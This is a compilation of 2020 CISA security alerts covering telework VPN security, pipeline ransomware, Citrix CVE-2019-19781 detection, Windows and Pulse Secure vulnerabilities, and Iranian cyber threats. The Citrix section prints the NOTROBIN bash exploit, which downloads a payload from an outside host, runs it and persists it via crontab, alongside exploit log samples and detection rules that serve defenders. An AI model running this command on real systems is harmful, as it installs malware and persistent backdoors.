US CERT: Technical Security Alerts
AA20-073A: Enterprise VPN Security
Summary
As organizations prepare for possible impacts of Coronavirus Disease 2019 (COVID-19), many may consider alternate workplace options for their employees. Remote work options—or telework—require an enterprise virtual private network (VPN) solution to connect employees to an organization’s information technology (IT) network. As organizations elect to implement telework, the Cybersecurity and Infrastructure Security Agency (CISA) encourages organizations to adopt a heightened state of cybersecurity.
Technical DetailsThe following are cybersecurity considerations regarding telework.
- As organizations use VPNs for telework, more vulnerabilities are being found and targeted by malicious cyber actors.
- As VPNs are 24/7, organizations are less likely to keep them updated with the latest security updates and patches.
- Malicious cyber actors may increase phishing emails targeting teleworkers to steal their usernames and passwords.
- Organizations that do not use multi-factor authentication (MFA) for remote access are more susceptible to phishing attacks.
- Organizations may have a limited number of VPN connections, after which point no other employee can telework. With decreased availability, critical business operations may suffer, including IT security personnel’s ability to perform cybersecurity tasks.
CISA encourages organizations to review the following recommendations when considering alternate workplace options.
- Update VPNs, network infrastructure devices, and devices being used to remote into work environments with the latest software patches and security configurations. See CISA Tips Understanding Patches and Securing Network Infrastructure Devices.
- Alert employees to an expected increase in phishing attempts. See CISA Tip Avoiding Social Engineering and Phishing Attacks.
- Ensure IT security personnel are prepared to ramp up the following remote access cybersecurity tasks: log review, attack detection, and incident response and recovery. Per the National Institute of Standards and Technology (NIST) Special Publication 800-46 v.2, Guide to Enterprise Telework, Remote Access, and Bring Your Own Device (BYOD) Security, these tasks should be documented in the configuration management policy.
- Implement MFA on all VPN connections to increase security. If MFA is not implemented, require teleworkers to use strong passwords. (See CISA Tips Choosing and Protecting Passwords and Supplementing Passwords for more information.)
- Ensure IT security personnel test VPN limitations to prepare for mass usage and, if possible, implement modifications—such as rate limiting—to prioritize users that will require higher bandwidths.
- Contact CISA to report incidents, phishing, malware, and other cybersecurity concerns.
- NIST Special Publication 800-46 v.2, Guide to Enterprise Telework, Remote Access, and Bring Your Own Device (BYOD) Security
- CISA Cyber Essentials
- CERT/CC: VPN - A Gateway for Vulnerabilities
- National Security Agency Cybersecurity Advisory: Mitigating Recent VPN Vulnerabilities
- CISA Insights: Risk Management for Novel Coronavirus (COVID-19)
- Telework.gov Guidance
- March 13, 2020: Initial Version
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AA20-049A: Ransomware Impacting Pipeline Operations
Summary
Note: This Activity Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) framework. See the MITRE ATT&CK for Enterprise and ATT&CK for Industrial Control Systems (ICS) frameworks for all referenced threat actor techniques and mitigations.
CISA encourages asset owner operators across all critical infrastructure sectors to review the below threat actor techniques and ensure the corresponding mitigations are applied.
The Cybersecurity and Infrastructure Security Agency (CISA) responded to a cyberattack affecting control and communication assets on the operational technology (OT) network of a natural gas compression facility. A cyber threat actor used a Spearphishing Link [T1192] to obtain initial access to the organization’s information technology (IT) network before pivoting to its OT network. The threat actor then deployed commodity ransomware to Encrypt Data for Impact [T1486] on both networks. Specific assets experiencing a Loss of Availability [T826] on the OT network included human machine interfaces (HMIs), data historians, and polling servers. Impacted assets were no longer able to read and aggregate real-time operational data reported from low-level OT devices, resulting in a partial Loss of View [T829] for human operators. The attack did not impact any programmable logic controllers (PLCs) and at no point did the victim lose control of operations. Although the victim’s emergency response plan did not specifically consider cyberattacks, the decision was made to implement a deliberate and controlled shutdown to operations. This lasted approximately two days, resulting in a Loss of Productivity and Revenue [T828], after which normal operations resumed. CISA is providing this Alert to help administrators and network defenders protect their organizations against this and similar ransomware attacks.
Technical DetailsNetwork and Assets- The victim failed to implement robust segmentation between the IT and OT networks, which allowed the adversary to traverse the IT-OT boundary and disable assets on both networks.
- The threat actor used commodity ransomware to compromise Windows-based assets on both the IT and OT networks. Assets impacted on the organization’s OT network included HMIs, data historians, and polling servers.
- Because the attack was limited to Windows-based systems, PLCs responsible for directly reading and manipulating physical processes at the facility were not impacted.
- The victim was able to obtain replacement equipment and load last-known-good configurations to facilitate the recovery process.
- All OT assets directly impacted by the attack were limited to a single geographic facility.
- At no time did the threat actor obtain the ability to control or manipulate operations. The victim took offline the HMIs that read and control operations at the facility. A separate and geographically distinct central control office was able to maintain visibility but was not instrumented for control of operations.
- The victim’s existing emergency response plan focused on threats to physical safety and not cyber incidents. Although the plan called for a full emergency declaration and immediate shutdown, the victim judged the operational impact of the incident as less severe than those anticipated by the plan and decided to implement limited emergency response measures. These included a four-hour transition from operational to shutdown mode combined with increased physical security.
- Although the direct operational impact of the cyberattack was limited to one control facility, geographically distinct compression facilities also had to halt operations because of pipeline transmission dependencies. This resulted in an operational shutdown of the entire pipeline asset lasting approximately two days.
- Although they considered a range of physical emergency scenarios, the victim’s emergency response plan did not specifically consider the risk posed by cyberattacks. Consequently, emergency response exercises also failed to provide employees with decision-making experience in dealing with cyberattacks.
- The victim cited gaps in cybersecurity knowledge and the wide range of possible scenarios as reasons for failing to adequately incorporate cybersecurity into emergency response planning.
Asset owner operators across all sectors are encouraged to consider the following mitigations using a risk-based assessment strategy.
Planning and Operational Mitigations- Ensure the organization’s emergency response plan considers the full range of potential impacts that cyberattacks pose to operations, including loss or manipulation of view, loss or manipulation of control, and loss of safety. In particular, response playbooks should identify criteria to distinguish between events requiring deliberate operational shutdown versus low-risk events that allow for operations to continue.
- Exercise the ability to fail over to alternate control systems, including manual operation while assuming degraded electronic communications. Capture lessons learned in emergency response playbooks.
- Allow employees to gain decision-making experience via tabletop exercises that incorporate loss of visibility and control scenarios. Capture lessons learned in emergency response playbooks.
- Identify single points of failure (technical and human) for operational visibility. Develop and test emergency response playbooks to ensure there are redundant channels that allow visibility into operations when one channel is compromised.
- Implement redundant communication capabilities between geographically separated facilities responsible for the operation of a single pipeline asset. Coordinate planning activities across all such facilities.
- Recognize the physical risks that cyberattacks pose to safety and integrate cybersecurity into the organization’s safety training program.
- Ensure the organization’s security program and emergency response plan consider third parties with legitimate need for OT network access, including engineers and vendors.
- Implement and ensure robust Network Segmentation [M1030] between IT and OT networks to limit the ability of adversaries to pivot to the OT network even if the IT network is compromised. Define a demilitarized zone (DMZ) that eliminates unregulated communication between the IT and OT networks.
- Organize OT assets into logical zones by taking into account criticality, consequence, and operational necessity. Define acceptable communication conduits between the zones and deploy security controls to Filter Network Traffic [M1037] and monitor communications between zones. Prohibit Industrial Control System (ICS) protocols from traversing the IT network.
- Require Multi-Factor Authentication [M1032] to remotely access the OT and IT networks from external sources.
- Implement regular Data Backup [M1053] procedures on both the IT and OT networks. Ensure that backups are regularly tested and isolated from network connections that could enable the spread of ransomware.
- Ensure user and process accounts are limited through Account Use Policies [M1036], User Account Control [M1052], and Privileged Account Management [M1026]. Organize access rights based on the principles of least privilege and separation of duties.
- Enable strong spam filters to prevent phishing emails from reaching end users. Implement a User Training [M1017] program to discourage users from visiting malicious websites or opening malicious attachments. Filter emails containing executable files from reaching end users.
- Filter Network Traffic [M1037] to prohibit ingress and egress communications with known malicious Internet Protocol (IP) addresses. Prevent users from accessing malicious websites using Uniform Resource Locator (URL) blacklists and/or whitelists.
- Update Software [M1051], including operating systems, applications, and firmware on IT network assets. Use a risk-based assessment strategy to determine which OT network assets and zones should participate in the patch management program. Consider using a centralized patch management system.
- Set Antivirus/Antimalware [M1049] programs to conduct regular scans of IT network assets using up-to-date signatures. Use a risk-based asset inventory strategy to determine how OT network assets are identified and evaluated for the presence of malware.
- Implement Execution Prevention [M1038] by disabling macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Microsoft Office suite applications.
- Implement Execution Prevention [M1038] via application whitelisting, which only allows systems to execute programs known and permitted by security policy. Implement software restriction policies (SRPs) or other controls to prevent programs from executing from common ransomware locations, such as temporary folders supporting popular internet browsers or compression/decompression programs, including the AppData/LocalAppData folder.
- Limit Access to Resources over Network [M1035], especially by restricting Remote Desktop Protocol (RDP). If after assessing risks RDP is deemed operationally necessary, restrict the originating sources and require Multi-Factor Authentication [M1032].
- CISA Ransomware One-Pager and Technical Document (CISA, 2019)
- CISA Insights: Ransomware Outbreak (CISA, 2019)
- Pipeline Cybersecurity Initiative (CISA, 2018)
- CISA Webinar: Combating Ransomware (CISA, 2018)
- Framework for Improving Critical Infrastructure Cybersecurity (NIST, 2018)
- Data Integrity: Identifying and Protecting Assets Against Ransomware and Other Destructive Events (NIST, 2018)
- Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events (NIST, 2018)
- Pipeline Security Guidelines (TSA, 2018)
- NIST SP 800-11: Data Integrity: Recovering from Ransomware and Other Destructive Events (NIST, 2017)
- Guide to Industrial Control Systems (ICS) Security (NIST, 2015)
- Oil and Natural Gas Subsector Cybersecurity Capability Maturity Model (DOE, 2014)
- February 18, 2020: Initial Version
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AA20-031A: Detecting Citrix CVE-2019-19781
Summary
Unknown cyber network exploitation (CNE) actors have successfully compromised numerous organizations that employed vulnerable Citrix devices through a critical vulnerability known as CVE-2019-19781.[1]
Though mitigations were released on the same day Citrix announced CVE-2019-19781, organizations that did not appropriately apply the mitigations were likely to be targeted once exploit code began circulating on the internet a few weeks later.
Compromised systems cannot be remediated by applying software patches that were released to fix the vulnerability. Once CNE actors establish a foothold on an affected device, their presence remains even though the original attack vector has been closed.
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Alert to provide tools and technologies to assist with detecting the presence of these CNE actors. Unpatched systems and systems compromised before the updates were applied remain susceptible to exploitation.
Contact CISA, or the FBI to report an intrusion or to request assistance.
Technical DetailsDetection
CISA has developed the following procedures for detecting a CVE-2019-19781 compromise.
HTTP Access and Error Log ReviewContext: Host Hunt
Type: Methodology
The impacted Citrix products utilize Apache for web server software, and as a result, HTTP access and error logs should be available on the system for review in /var/log. Log files httpaccess.log and httperror.log should both be reviewed for the following Uniform Resource Identifiers (URIs), found in the proof of concept exploit that was released.
- '*/../vpns/*'
- '*/vpns/cfg/smb.conf'
- '*/vpns/portal/scripts/newbm.pl*'
- '*/vpns/portal/scripts/rmbm.pl*'
- '*/vpns/portal/scripts/picktheme.pl*'
Note: These URIs were observed in Security Information and Event Management detection content provided by https://github.com/Neo23x0/sigma/blob/master/rules/web/web_citrix_cve_2019_19781_exploit.yml.[2]
Per TrustedSec, a sign of successful exploitation would be a POST request to a URI containing /../ or /vpn, followed by a GET request to an XML file. If any exploitation activity exists—attempted or successful—analysts should be able to identify the attacking Internet Protocol address(es). Tyler Hudak’s blog provided sample logs indicating what a successful attack would look like.[3]
10.1.1.1 - - [10/Jan/2020:13:23:51 +0000] "POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 200 143 "https://10.1.1.2/" "USERAGENT " 10.1.1.1 - - [10/Jan/2020:13:23:53 +0000] "GET /vpn/../vpns/portal/backdoor.xml HTTP/1.1" 200 941 "-" "USERAGENT"Additionally, FireEye provided the following grep commands to assist with log review and help to identify suspicious activity.[4]
grep -iE 'POST.*\.pl HTTP/1\.1\" 200 ' /var/log/httpaccess.log -A 1 grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -B 1 Running Processes ReviewContext: Host Hunt
Type: Methodology
Reviewing the running processes on a system suspected of compromise for processes running under the nobody user can identify potential backdoors.
ps auxd | grep nobodyAnalysts should review the ps output for suspicious entries such as this:
nobody 63390 0.0 0.0 8320 16 ?? I 1:35PM 0:00.00 | | `– sh -c uname & curl -o – http://10.1.1.2/backdoorFurther pivoting can be completed using the Process ID from the PS output:
lsof -p <pid>Due to the nature of this exploit, it is likely that any processes related to a backdoor would be running under the httpd process.
Checking for NOTROBIN PresenceContext: Host Hunt
Type: Methodology
pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -khxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"
The above is the NOTROBIN Bash exploit code. To check for NOTROBIN Presence, analysts should look for the staging directory at /tmp/.init as well as httpd processes running as a cron job.
Running the command find / -name ".init" 2> /tmp/error.log should return the path to the created staging directory while taking all of the errors and creating a file located at /tmp/error.log.
Additional /var/log ReviewContext: Host Hunt
Type: Methodology
Analysts should focus on reviewing the following logs in /var/log on the Citrix device, if available. The underlying operating system is based on FreeBSD, and the logs are similar to what would be found on a Linux system. Analysts should focus on log entries related to the nobody user or (null) on and should try to identify any suspicious commands that may have been run, such as whoami or curl. Please keep in mind that logs are rotated and compressed, and additional activity may be found in the archives (.gz files) for each log.
bash.log
Sample Log Entry:
Jan 10 13:35:47<local7.notice> ns bash[63394]: nobody on /dev/pts/3
shell_command="hostname"
Note: The bash log can provide the user (nobody), command (hostname), and process id (63394) related to the nefarious activity.
sh.log
notice.log
Check Crontab for PersistenceContext: Host Hunt
Type: Methodology
As with running processes and log entries, any cron jobs created by the user nobody are a cause for concern and likely related to a persistence mechanism established by an attacker. Additionally, search for a httpd process within the crontab to determine if a system has been affected by NOTROBIN. Analysts can review entries on a live system using the following command:
crontab -l -u nobody Existence of Unusual FilesContext: Host Hunt
Type: Methodology
Open-source outlets have reported that during incident response activities, attackers exploiting this vulnerability have been placing malicious files in the following directories. Analysts should review file listings for these directories and determine if any suspicious files are present on the server.
- /netscaler/portal/templates
- /var/tmp/netscaler/portal/templates
Context: Network Alert
Type: Signatures
Although most activity related to exploitation of the Citrix vulnerability would use SSL, FireEye noted that an HTTP scanner is available to check for the vulnerability. The following Snort rules were provided in FireEye’s blog post and would likely indicate a vulnerable Citrix server.[5] These rules should be tuned for the environment and restricted to the IP addresses of the Citrix server(s) to reduce potential false positives.
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .CONF response"; flow:established,to_client; content:"HTTP/1."; depth:7; content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"al]|0d0a|"; distance:0; content:"encrypt passwords"; distance:0; content:"name resolve order"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;) alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential CVE-2019-19781 vulnerable .PL response"; flow:established,to_client; content:"HTTP/1."; depth:7; content:"200 OK"; distance:1; content:"|0d0a|Server: Apache"; distance:0; content:"|0d0a|Connection: Keep-Alive"; content:"|0d0a0d0a3c48544d4c3e0a3c424f44593e0a3c534352495054206c616e67756167653d6 a61766173637269707420747970653d746578742f6a6176617363726970743e0a2f2f706172656e74 2e77696e646f772e6e735f72656c6f616428293b0a77696e646f772e636c6f736528293b0a3c2f534 3524950543e0a3c2f424f44593e0a3c2f48544d4c3e0a|"; reference:cve,2019-19781; reference:url,https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html; sid:201919781; rev:1;) Suspicious Network TrafficContext: Network Hunt
Type: Methodology
From a network perspective, this vulnerability will likely not be detectable, given that the traffic will likely be encrypted (SSL). Additionally, due to where they sit on networks, devices such as these are typically not covered in traditional network monitoring and ingress traffic to the device may not be part of a normal SPAN port configuration. In the event network monitoring is available and attackers are using HTTP versions of this exploit, CISA recommends looking for URIs containing /../ or /vpns/ to identify potentially malicious activity. It is also worth surveying the traffic for any requests to .xml files or perl (.pl) files as well, as this would not be consistent with normal Citrix web activity. As with the web logs, analysts would be looking for a successful POST request followed by a successful GET request with the aforementioned characteristics.
Given that a compromise occurred, activity to look for would be outbound traffic from the Citrix server, both to internal and external hosts. In theory, if an attacker placed a backdoor on the system, it should be connecting outbound to a command and control server. This traffic would most likely be anomalous (outbound TCP Port 80 or 443), given that one would only expect to see inbound TCP/443 traffic to the Citrix server as normal activity. If an attacker is leveraging a Citrix device as an entry point to an organization, anomalous internal traffic could potentially be visible in bro data such as scanning, file transfers, or lateral movement. An exception to internal traffic is that the Citrix ADC device is much more than just an SSL VPN device and is used for multiple types of load balancing. As a result, an ADC device may be communicating with internal systems legitimately (web servers, file servers, custom applications, etc.).
Inbound Exploitation Activity (Suspicious URIs)
index=bro dest=<CITRIX_IP_ADDR> sourcetype=bro_http uri=*/../* OR uri=*/vpn* OR uri=*.pl OR uri=*.xmlOutbound Traffic Search (Backdoor C2)
index=bro sourcetype=bro_conn src=<CITRIX_IP_ADDR> dest!=<INTERNAL_NET>| stats count by src dest dest_port
| sort -count
The following resources provide additional detection measures.
- Citrix and FireEye Mandiant released an IOC scanning tool for CVE-2019-19781.[6] The tool aids customers with detecting potential IOCs based on known attacks and exploits.
- The National Security Agency released a Cybersecurity Advisory on CVE-2020-19781 with additional detection measures.[7]
- CISA released a utility that enables users and administrators to detect whether their Citrix ADC and Citrix Gateway firmware is susceptible to CVE-2019-19781.[8]
CVE-2019-19781 is an arbitrary code execution vulnerability that has been detected in exploits in the wild. An attacker can exploit this vulnerability to take control of an affected system.
The vulnerability affects the following appliances:
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 – all supported builds before 10.5.70.12
- Citrix ADC and NetScaler Gateway version 11.1 – all supported builds before 11.1.63.15
- Citrix ADC and NetScaler Gateway version 12.0 – all supported builds before 12.0.63.13
- Citrix ADC and NetScaler Gateway version 12.1 – all supported builds before 12.1.55.18
- Citrix ADC and Citrix Gateway version 13.0 – all supported builds before 13.0.47.24
- Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO – all supported software release builds before 10.2.6b and 11.0.3b. (Citrix SD-WAN WANOP is vulnerable because it packages Citrix ADC as a load balancer).
The resources provided include steps for standalone, HA pairs, and clustered Citrix instances.
- Use Citrix's tool to check for the vulnerability.
- Use an open-source utility to check for the vulnerability or previous device compromise.
- Follow instructions from Citrix to mitigate the vulnerability.
- Upgrade firmware to a patched version.
- Subscribe to Citrix Alerts for firmware updates.
- Patch devices to the most current version.
Consider deploying a VPN capability using standardized protocols, preferably ones listed on the National Information Assurance Partnership (NIAP) Product Compliant List (PCL), in front of publicly assessible gateway appliances to require user authentication for the VPN before being able to reach these appliances.
References- [1] Citrix blog: Citrix releases final fixes for CVE-2019-19781
- [2] GitHub web_citrix_cve_2019_19781_exploit.yml
- [3] TrustedSec blog: NetScaler Remote Code Execution Forensics
- [4] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)
- [5] FireEye blog: Rough Patch: I Promise It'll Be 200 OK (Citrix ADC CVE-2019-19781)
- [6] IOC scanning tool for CVE-2019-19781
- [7] NSA Cybersecurity Advisory: Mitigate CVE-2019-19781: Critical Vulnerability
- [8] CISA Vulnerability Test Tool
- January 31, 2020: Initial Version
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AA20-020A: Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP
AA20-014A: Critical Vulnerabilities in Microsoft Windows Operating Systems
Summary
New vulnerabilities are continually emerging, but the best defense against attackers exploiting patched vulnerabilities is simple: keep software up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.
On January 14, 2020, Microsoft released software fixes to address 49 vulnerabilities as part of their monthly Patch Tuesday announcement. Among the vulnerabilities patched were critical weaknesses in Windows CryptoAPI and Windows Remote Desktop Protocol (RDP) server and client. An attacker could remotely exploit these vulnerabilities to decrypt, modify, or inject data on user connections:
- CryptoAPI spoofing vulnerability – CVE-2020-0601: This vulnerability affects all machines running 32- or 64-bit Windows 10 operating systems, including Windows Server versions 2016 and 2019. This vulnerability allows Elliptic Curve Cryptography (ECC) certificate validation to bypass the trust store, enabling unwanted or malicious software to masquerade as authentically signed by a trusted or trustworthy organization. This could deceive users or thwart malware detection methods such as antivirus. Additionally, a maliciously crafted certificate could be issued for a hostname that did not authorize it, and a browser that relies on Windows CryptoAPI would not issue a warning, allowing an attacker to decrypt, modify, or inject data on user connections without detection.
- Multiple Windows RDP vulnerabilities – CVE-2020-0609, CVE-2020-0610, and CVE-2020-0611: These vulnerabilities affect Windows Server 2012 and newer. In addition, CVE-2020-0611 affects Windows 7 and newer. These vulnerabilities—in the Windows Remote Desktop client and RDP Gateway Server—allow for remote code execution, where arbitrary code could be run freely. The server vulnerabilities do not require authentication or user interaction and can be exploited by a specially crafted request. The client vulnerability can be exploited by convincing a user to connect to a malicious server.
The Cybersecurity and Infrastructure Security Agency (CISA) is unaware of active exploitation of these vulnerabilities. However, because patches have been publicly released, the underlying vulnerabilities can be reverse-engineered to create exploits that target unpatched systems.
CISA strongly recommends organizations install these critical patches as soon as possible—prioritize patching by starting with mission critical systems, internet-facing systems, and networked servers. Organizations should then prioritize patching other affected information technology/operational technology (IT/OT) assets.
Technical DetailsCryptoAPI Spoofing Vulnerability – CVE-2020-0601A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates ECC certificates.
According to Microsoft, “an attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider.” Additionally, “a successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software.”[1]
A cyber attacker could exploit CVE-2020-0601 to obtain sensitive information, such as financial information, or run malware on a targeted system; for example:
- A maliciously crafted certificate could appear to be issued for a hostname that did not authorize it, preventing a browser that relies on Windows CryptoAPI from validating its authenticity and issuing warnings. If the certificate impersonates a user’s bank website, their financial information could be exposed.
- Signed malware can bypass protections (e.g., antivirus) that only run applications with valid signatures. Malicious files, emails, and executables can appear legitimate to unpatched users.
The Microsoft Security Advisory for CVE-2020-0601 addresses this vulnerability by ensuring that Windows CryptoAPI completely validates ECC certificates.
Detection MeasuresThe National Security Agency (NSA) provides detection measures for CVE-2020-0601 in their Cybersecurity Advisory: Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers.[2]
Windows Remote Desktop Server Vulnerabilities – CVE-2020-0609/CVE-2020-0610According to Microsoft, “A remote code execution vulnerability exists in Windows Remote Desktop Gateway (RD Gateway) when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.”[3],[4]
CVE-2020-0609/CVE-2020-0610:
- Affects all supported Windows Server versions (Server 2012 and newer; support for Server 2008 ends January 14, 2020);
- Occurs pre-authentication; and
- Requires no user interaction to perform.
The Microsoft Security Advisories for CVE-2020-0609 and CVE-2020-0610 address these vulnerabilities.
Windows Remote Desktop Client Vulnerability – CVE-2020-0611According to Microsoft, “A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.”[5]
CVE-2020-0611 requires the user to connect to a malicious server via social engineering, Domain Name Server (DNS) poisoning, a man-in the-middle attack, or by the attacker compromising a legitimate server.
The Microsoft Security Advisory for CVE-2020-0611 addresses this vulnerability.
ImpactA successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:
- Temporary or permanent loss of sensitive or proprietary information,
- Disruption to regular operations,
- Financial losses relating to restoring systems and files, and
- Potential harm to an organization’s reputation.
Mitigations
CISA strongly recommends organizations read the Microsoft January 2020 Release Notes page for more information and apply critical patches as soon as possible—prioritize patching by starting with mission critical systems, internet-facing systems, and networked servers. Organizations should then prioritize patching other affected IT/OT assets.
General Guidance
- Review Guide to Enterprise Patch Management Technologies, NIST Special Publication 800-40 Revision 3. Patch management is the process for identifying, acquiring, installing, and verifying patches for products and systems. This publication is designed to assist organizations in understanding the basics of enterprise patch management technologies. It explains the importance of patch management and examines the challenges inherent in performing patch management. It provides an overview of enterprise patch management technologies, and also briefly discusses metrics for measuring the technologies’ effectiveness.
- Review CISA Insights publications. Informed by U.S. cyber intelligence and real-world events, each CISA Insight provides background information on particular cyber threats and the vulnerabilities they exploit, as well as a ready-made set of mitigation activities that non-federal partners can implement. Printable materials can be found by visiting: https://www.cisa.gov/publication/cisa-insights-publications.
- Review CISA’s Cyber Essentials. CISA’s Cyber Essentials is a guide for leaders of small businesses as well as leaders of small and local government agencies to develop an actionable understanding of where to start implementing organizational cybersecurity practices. Essentials are the starting point to cyber readiness. To download the guide, visit: https://www.cisa.gov/publication/cisa-cyber-essentials.
- [1] Microsoft Security Advisory for CVE-2020-0601
- [2] NSA Cybersecurity Advisory: Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers
- [3] Microsoft Security Advisory for CVE-2020-0609
- [4] Microsoft Security Advisory for CVE-2020-0610
- [5] Microsoft Security Advisory for CVE-2020-0611
- [6] CISA Blog: Windows Vulnerabilities that Require Immediate Attention
- [7] CERT/CC Vulnerability Note VU#849224
- [8] CERT/CC Vulnerability Note VU#491944
- January 14, 2020: Initial version
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AA20-010A: Continued Exploitation of Pulse Secure VPN Vulnerability
Summary
Unpatched Pulse Secure VPN servers continue to be an attractive target for malicious actors. Affected organizations that have not applied the software patch to fix a remote code execution (RCE) vulnerability, known as CVE-2019-11510, can become compromised in an attack. [1]
Although Pulse Secure [2] disclosed the vulnerability and provided software patches for the various affected products in April 2019, the Cybersecurity and Infrastructure Security Agency (CISA) continues to observe wide exploitation of CVE-2019-11510. [3] [4] [5]
CISA expects to see continued attacks exploiting unpatched Pulse Secure VPN environments and strongly urges users and administrators to upgrade to the corresponding fixes. [6]
Timelines of Specific Events- April 24, 2019 – Pulse Secure releases initial advisory and software updates addressing multiple vulnerabilities.
- May 28, 2019 – Large commercial vendors get reports of vulnerable VPN through HackerOne.
- July 31, 2019 – Full RCE use of exploit demonstrated using the admin session hash to get complete shell.
- August 8, 2019 – Meh Chang and Orange Tsai demonstrate the VPN issues across multiple vendors (Pulse Secure) with detailed attack on active VPN exploitation.
- August 24, 2019 – Bad Packets identifies over 14,500 vulnerable VPN servers globally still unpatched and in need of an upgrade.
- October 7, 2019 – The National Security Agency (NSA) produces a Cybersecurity Advisory on Pulse Secure and other VPN products being targeted actively by advanced persistent threat actors.
- October 16, 2019 – The CERT Coordination Center (CERT/CC) releases Vulnerability Note VU#927237: Pulse Secure VPN contains multiple vulnerabilities.
- January 2020 – Media reports cybercriminals now targeting unpatched Pulse Secure VPN servers to install REvil (Sodinokibi) ransomware.
A remote, unauthenticated attacker may be able to compromise a vulnerable VPN server. The attacker may be able to gain access to all active users and their plain-text credentials. It may also be possible for the attacker to execute arbitrary commands on each VPN client as it successfully connects to the VPN server.
Affected versions:
- Pulse Connect Secure 9.0R1 - 9.0R3.3
- Pulse Connect Secure 8.3R1 - 8.3R7
- Pulse Connect Secure 8.2R1 - 8.2R12
- Pulse Connect Secure 8.1R1 - 8.1R15
- Pulse Policy Secure 9.0R1 - 9.0R3.1
- Pulse Policy Secure 5.4R1 - 5.4R7
- Pulse Policy Secure 5.3R1 - 5.3R12
- Pulse Policy Secure 5.2R1 - 5.2R12
- Pulse Policy Secure 5.1R1 - 5.1R15
This vulnerability has no viable workarounds except for applying the patches provided by the vendor and performing required system updates.
CISA strongly urges users and administrators to upgrade to the corresponding fixes. [7]
References- [1] NIST NVD CVE-2019-11510
- [2] Pulse Secure Advisory SA44101
- [3] CERT/CC Vulnerability Note VU#927237
- [4] CISA Current Activity Vulnerabilities in Multiple VPN Applications
- [5] CISA Current Activity Multiple Vulnerabilities in Pulse Secure VPN
- [6] Pulse Secure Advisory SA44101
- [7] Pulse Secure Advisory SA44101
- January 10, 2020: Initial Version
This product is provided subject to this Notification and this Privacy & Use policy.
AA20-006A: Potential for Iranian Cyber Response to U.S. Military Strike in Baghdad
Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is sharing the following information with the cybersecurity community as a primer for assisting in the protection of our Nation’s critical infrastructure in light of the current tensions between the Islamic Republic of Iran and the United States and Iran’s historic use of cyber offensive activities to retaliate against perceived harm. Foremost, CISA recommends organizations take the following actions:
- Adopt a state of heightened awareness. This includes minimizing coverage gaps in personnel availability, more consistently consuming relevant threat intelligence, and making sure emergency call trees are up to date.
- Increase organizational vigilance. Ensure security personnel are monitoring key internal security capabilities and that they know how to identify anomalous behavior. Flag any known Iranian indicators of compromise and tactics, techniques, and procedures (TTPs) for immediate response.
- Confirm reporting processes. Ensure personnel know how and when to report an incident. The well-being of an organization’s workforce and cyber infrastructure depends on awareness of threat activity. Consider reporting incidents to CISA to help serve as part of CISA’s early warning system (see Contact Information section below).
- Exercise organizational incident response plans. Ensure personnel are familiar with the key steps they need to take during an incident. Do they have the accesses they need? Do they know the processes? Are your various data sources logging as expected? Ensure personnel are positioned to act in a calm and unified manner.
Iran has a history of leveraging asymmetric tactics to pursue national interests beyond its conventional capabilities. More recently, its use of offensive cyber operations is an extension of that doctrine. Iran has exercised its increasingly sophisticated capabilities to suppress both social and political perspectives deemed dangerous to Iran and to harm regional and international opponents.
Iranian cyber threat actors have continuously improved their offensive cyber capabilities. They continue to engage in more “conventional” activities ranging from website defacement, distributed denial of service (DDoS) attacks, and theft of personally identifiable information (PII), but they have also demonstrated a willingness to push the boundaries of their activities, which include destructive wiper malware and, potentially, cyber-enabled kinetic attacks.
The U.S. intelligence community and various private sector threat intelligence organizations have identified the Islamic Revolutionary Guard Corps (IRGC) as a driving force behind Iranian state-sponsored cyberattacks–either through contractors in the Iranian private sector or by the IRGC itself.
Iranian Cyber ActivityAccording to open-source information, offensive cyber operations targeting a variety of industries and organizations—including financial services, energy, government facilities, chemical, healthcare, critical manufacturing, communications, and the defense industrial base—have been attributed, or allegedly attributed, to the Iranian government. The same reporting has associated Iranian actors with a range of high-profile attacks, including the following:
- Late 2011 to Mid-2013 – DDoS Targeting U.S. Financial Sector: In response to this activity, in March 2016, the U.S. Department of Justice indicted seven Iranian actors employed by companies performing work on behalf of the IRGC for conducting DDoS attacks primarily targeting the public-facing websites of U.S. banks. The attacks prevented customers from accessing their accounts and cost the banks millions of dollars in remediation. [1]
